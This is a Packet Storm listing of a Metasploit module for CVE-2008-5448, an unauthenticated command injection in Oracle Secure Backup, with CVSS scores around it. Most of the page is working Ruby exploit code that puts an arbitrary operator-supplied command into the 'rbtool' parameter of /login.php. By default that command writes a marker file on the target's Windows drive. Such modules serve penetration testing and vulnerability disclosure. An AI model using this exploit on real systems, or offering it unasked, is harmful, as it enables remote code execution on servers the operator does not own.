Lucene search

K
packetstormJay Turla, metasploit.comPACKETSTORM:180765
HistoryAug 31, 2024 - 12:00 a.m.

Oracle Secure Backup Exec_qr() Command Injection

2024-08-3100:00:00
Jay Turla, metasploit.com
packetstormsecurity.com
25
oracle secure backup
command injection
vulnerability
cve-2008-5448
osvdb-51342
oracle

CVSS2

10

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

AI Score

7

Confidence

Low

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Oracle Secure Backup exec_qr() Command Injection Vulnerability',  
'Description' => %q{  
This module exploits a command injection vulnerability in Oracle Secure Backup version 10.1.0.3 to 10.2.0.2.  
},  
'Author' => [ 'MC' ],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2008-5448' ],  
[ 'OSVDB', '51342' ],  
[ 'URL', 'http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujan2009.html' ],  
[ 'ZDI', '09-003' ],  
],  
'DisclosureDate' => '2009-01-14'))  
  
register_options(  
[  
Opt::RPORT(443),  
OptString.new('CMD', [ false, "The command to execute.", "cmd.exe /c echo metasploit > %SYSTEMDRIVE%\\metasploit.txt" ]),  
OptBool.new('SSL', [true, 'Use SSL', true]),  
])  
end  
  
def run  
  
r = Rex::Text.rand_text_english(2)  
  
cmd = datastore['CMD']  
  
uri = "/login.php?clear=no&ora_osb_lcookie=&ora_osb_bgcookie=#{r}&button=Logout&rbtool="  
  
req = uri + Rex::Text.uri_encode(cmd)  
  
print_status("Sending command: #{datastore['CMD']}...")  
  
res = send_request_raw({'uri' => req,},5)  
  
print_status("Done.")  
  
end  
end  
`

CVSS2

10

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

AI Score

7

Confidence

Low